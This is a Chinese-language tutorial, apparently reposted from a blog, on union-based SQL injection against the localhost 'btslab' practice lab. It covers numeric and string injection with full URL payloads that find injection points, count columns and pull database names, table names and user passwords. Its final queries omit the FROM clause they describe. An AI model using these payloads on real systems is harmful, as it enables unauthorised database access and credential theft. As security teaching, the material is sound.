SQL注入(1)
基于聯(lián)合調(diào)查的SQL注入
我們先了解一下mysql的系統(tǒng)函數(shù)
?
| user() | database() | version() | concat() | group_concat() | datadir | 
| 當前使用者的用戶名 | 當前數(shù)據(jù)庫名 | 數(shù)據(jù)庫版本 | 連接一個或者多個字符串 | 接一個組的所有字符串,并以逗號分隔每一條數(shù)據(jù) | 讀取數(shù)據(jù)庫的絕對路徑 | 
這里給大家提供一個SQL注入的實驗平臺。http://localhost/btslab/vulnerability/ForumPosts.php?id=1(請打開phpstudy使用)
數(shù)字型注入
我們以http://localhost/btslab/vulnerability/ForumPosts.php?id=1為例,可以看出這是一個動態(tài)URL,也就是說可以在地址欄中傳參,這是SQL注入的基本條件。
1.判斷是否能sql注入:
http://localhost/btslab/vulnerability/ForumPosts.php?id=1' ? ? ? ? ? ? ? ? ? ? ①? 頁面返回錯誤
http://localhost/btslab/vulnerability/ForumPosts.php?id=1?and 1=1 ? ? ?? ②? 頁面返回正常
http://localhost/btslab/vulnerability/ForumPosts.php?id=1?and 1=2 ? ? ? ? ③? 頁面返回錯誤
如果符合上述三點則我們可以確定可以進行SQL注入,且id是一個注入點。
2.查數(shù)據(jù)庫:
http://localhost/btslab/vulnerability/ForumPosts.php?id=1and ord(mid(version(),1,1))>51
如果返回正常頁面,說明數(shù)據(jù)庫是mysql,并且版本大于4.0,支持union查詢,反之是4.0以下版本或者其他類型數(shù)據(jù)庫。?
3.查字段:
a. http://localhost/btslab/vulnerability/ForumPosts.php?id=1?order by 5 ?
返回錯誤頁面,說明字段小于5。
b.http://localhost/btslab/vulnerability/ForumPosts.php?id=1?order by 4 ??
返回正常頁面,說明字段為4。
當然我們可以從1開始依次列舉。
?5.查列數(shù):
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,2,3,4?
我們發(fā)現(xiàn)頁面返回給我們兩個數(shù)字,2,4。 這里的2,4指是數(shù)據(jù)儲存的位置,也就是我們可以把這個數(shù)字中的一個或者多個替換成我們想要查詢的關鍵字。
6.查數(shù)據(jù)庫名:?
?http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,database(),3,4 ? ? ? ? ? ? ?
瀏覽器給我們返回了bts? 。說明這個網(wǎng)站 的數(shù)據(jù)庫庫名是 bts
7.查表:
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
(補充一下:MYSQL中有個數(shù)據(jù)庫叫 information_schema,數(shù)據(jù)庫中有個表名叫tables,其中的table_name列儲存了所有數(shù)據(jù)庫中的所有表名,而table_schema則儲存著該表所在的數(shù)據(jù)庫名,group_concat()可以把多項數(shù)據(jù)合成一個字符串返回)
查到bts下的表名:messages,posts,tdata,users
?8.同樣我們也可以查詢用戶名和密碼。
http://localhost/btslab/vulnerability/ForumPosts.php?id=1?and 1=2 union select 1,username,3,password
注意這里的users是表名,而不是固定的。
字符型注入 ? ? ? ? ?
簡而言之,基于字符型的SQL注入即存在SQL注入漏洞的URL參數(shù)為字符串類型(需要使用單引號表示)。如:select * from 表名 where id ='1'
在這里我們?nèi)匀灰詇ttp://localhost/btslab/vulnerability/ForumPosts.php?id=1 為例。
1.判斷是否為字符型注入:
http://localhost/btslab/vulnerability/ForumPosts.php?id=1' ①頁面返回錯誤
http://localhost/btslab/vulnerability/ForumPosts.php?id=1''②頁面返回正常
如果符合上述情況,則可以確定這是字符型注入且id是一個注入點。
2.查字段:http://localhost/btslab/vulnerability/ForumPosts.php?id=1' order by 1 # (同上)
此時數(shù)據(jù)庫中的查詢語句為:select * from 表名 wher id='1' order by 1 #' 這里為了達到引號閉合的目的我們需要注釋一個引號。
3.查列數(shù):http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,2,3,4 #
4.查數(shù)據(jù)庫名:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,database(),3,4 # ? 得到表名bts
5.查表:http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #
6.查詢用戶名和密碼:
http://localhost/btslab/vulnerability/ForumPosts.php?id=-1' union select 1,username,3,password #
?
?
?
?
?
?
?
?
?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??
轉(zhuǎn)載于:https://www.cnblogs.com/So7cool/p/9826616.html
總結
 
                            
                        - 上一篇: 花生壳 Linux arm
- 下一篇: 每秒钟承载600万订单级别的无锁并行计算
